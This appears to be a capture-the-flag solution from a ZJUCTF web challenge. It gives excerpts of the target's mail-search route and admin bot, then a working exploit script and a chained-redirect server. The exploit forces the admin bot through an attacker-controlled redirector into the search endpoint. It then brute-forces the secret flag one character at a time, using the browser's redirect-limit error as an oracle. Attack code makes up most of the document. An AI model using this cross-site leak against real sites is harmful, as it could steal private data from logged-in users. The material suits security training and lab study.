// server.js
app.get('/mail-search/:lang', (req, res) => {
//  ...
	if(mails.length === 0){
		return res.render('index', {
			title: `搜索结果 - ${query}`,
			content: `<p>未找到相关邮件。</p>`,
			current: -1,
			user: user,
			list: db.prepare(`SELECT * FROM emails WHERE user = ?`).all(user).map(row => ({
				id: row.id,
				title: lang === 'zh' ? row.title_zh : row.title_en
			}))
		})
	}
	if(mails.length === 1){
		return res.redirect(`/mail/${lang}/${mails[0].id}`)
	}
	if(mails.length > 1) {
		return res.render('index', {
		title: `搜索结果 - ${query}`,
		content: `<p>找到 ${mails.length} 封相关邮件，请从侧边栏选择。</p>`,
		current: -1,
		user: user,
		list: mails.map(row => ({
			id: row.id,
			title: lang === 'zh' ? row.title_zh : row.title_en
		}))
	})}
//  ...
})

// bot.js
router.get('/', async (req, res) => {
//  ...
    try {
        browser = await puppeteer.launch({
            args: ['--no-sandbox', '--disable-setuid-sandbox']
        });
        const p = await browser.newPage();
        p.setDefaultTimeout(10000);
        
        await browser.setCookie({
            name: 'secret',
            value: adminKey,
            domain: 'localhost:8080',
            httpOnly: true});

        // 这一定是一个不同以往的浪漫故事♪
        await p.goto(targetUrl, { waitUntil: "domcontentloaded", timeout: 8000 });

        // you have only 400ms if you have some CSS-based XSS attack
        await new Promise(r => setTimeout(r, 400));

        // you have to make your payload create a delay more than 2000ms
        // if you want to use time-based side-channel attack
        await new Promise(r => setTimeout(r, Math.round(Math.random() * 4000)));

        // 极端体验：怅然若失
        await browser.close();
        
        // 结局，如我们所书
        return res.end("Admin visited your site.");
    } catch (error) {
        console.log(error);
        return res.end("Don't hack my puppeteer.")
    } finally {
        if (browser) {
            await browser.close().catch(console.error);
        }
    }
//  ...
});

// exp.js
const ROOT = "http://127.0.0.1:54423"

const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-{}"

let prefix="ZJUCTF{";
(async ()=>{
for(let i=0;i<32;i++){
    for(let c of charset){
        let attempt = prefix + c
        process.stdout.write(`Trying ${attempt}\r`)
        let resp = await fetch(`${ROOT}/bot?url=http://10.197.137.96:3000/redirect/18/?url=http://localhost:8080/mail-search/zh?q=${encodeURIComponent(attempt)}`)
        let text = await resp.text()
        if(text.includes("hack")){
            prefix += c
            console.log(`Found character: ${c}, prefix now: ${prefix}`)
            break
        }
    }
}
})();

// redirector.js
const express = require('express');
const app = express();
const port = 3000;

app.use(express.urlencoded({ extended: true }));

app.get('/redirect/:remain_times', (req, res) => {
    const remainTimes = parseInt(req.params.remain_times);
    const targetUrl = req.query.url;

    if (remainTimes === 0) {
        console.log(`最终重定向到: ${targetUrl}`);
        return res.redirect(targetUrl);
    }
    const nextRemainTimes = remainTimes - 1;
    const nextUrl = `/redirect/${nextRemainTimes}?url=${encodeURIComponent(targetUrl)}`;
    
    console.log(`当前剩余次数: ${remainTimes}, 下一次重定向到: ${nextUrl}`);

    res.redirect(nextUrl);
});

app.listen(port, () => {
    console.log(`重定向工具服务运行在 http://localhost:${port}`);
});